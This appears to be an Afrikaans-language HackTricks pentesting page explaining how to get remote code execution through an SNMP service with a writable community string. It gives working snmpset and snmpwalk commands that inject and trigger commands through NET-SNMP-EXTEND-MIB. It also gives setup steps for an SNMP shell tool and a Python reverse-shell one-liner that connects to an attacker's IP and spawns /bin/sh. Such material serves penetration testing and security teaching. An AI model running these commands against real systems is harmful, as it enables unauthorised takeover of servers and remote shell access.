hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md
2024-02-11 02:07:06 +00:00

5.2 KiB

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

SNMP RCE

SNMP kan deur 'n aanvaller uitgebuit word as die administrateur sy verstekkonfigurasie op die toestel of bediener oorsien. Deur SNMP-gemeenskap met skryfregte (rwcommunity) op 'n Linux-bedryfstelsel te misbruik, kan die aanvaller opdragte op die bediener uitvoer.

Uitbreiding van Dienste met Ekstra Opdragte

Om SNMP-dienste uit te brei en ekstra opdragte by te voeg, is dit moontlik om nuwe rye by die "nsExtendObjects" tabel te voeg. Dit kan bereik word deur die snmpset-opdrag te gebruik en die nodige parameters te voorsien, insluitend die absolute pad na die uitvoerbare lêer en die opdrag wat uitgevoer moet word:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Inspruiting Opdragte vir Uitvoering

Inspruiting van opdragte vir uitvoering op die SNMP-diens vereis die bestaan en uitvoerbaarheid van die opgeroepde binêre / skripsie. Die NET-SNMP-EXTEND-MIB vereis die verskaffing van die absolute pad na die uitvoerbare lêer.

Om die uitvoering van die ingespruite opdrag te bevestig, kan die snmpwalk-opdrag gebruik word om die SNMP-diens op te som. Die uitset sal die opdrag en die verbandhoudende besonderhede insluit, insluitend die absolute pad:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Uitvoering van die Geïnjecteerde Opdragte

Wanneer die geïnjecteerde opdrag gelees word, word dit uitgevoer. Hierdie gedrag staan bekend as run-on-read(). Die uitvoering van die opdrag kan waargeneem word tydens die snmpwalk lees.

Verkryging van Bediener Skulp met SNMP

Om beheer oor die bediener te verkry en 'n bediener skulp te verkry, kan 'n Python-skrips ontwikkel deur mxrch gebruik word vanaf https://github.com/mxrch/snmp-shell.git.

Alternatiewelik kan 'n omgekeerde skulp handmatig geskep word deur 'n spesifieke opdrag in SNMP in te spuit. Hierdie opdrag, geaktiveer deur die snmpwalk, vestig 'n omgekeerde skulpverbinding met die aanvaller se masjien, wat beheer oor die slagoffer masjien moontlik maak. Jy kan die voorvereiste installeer om dit uit te voer:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Of 'n omgekeerde dop:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: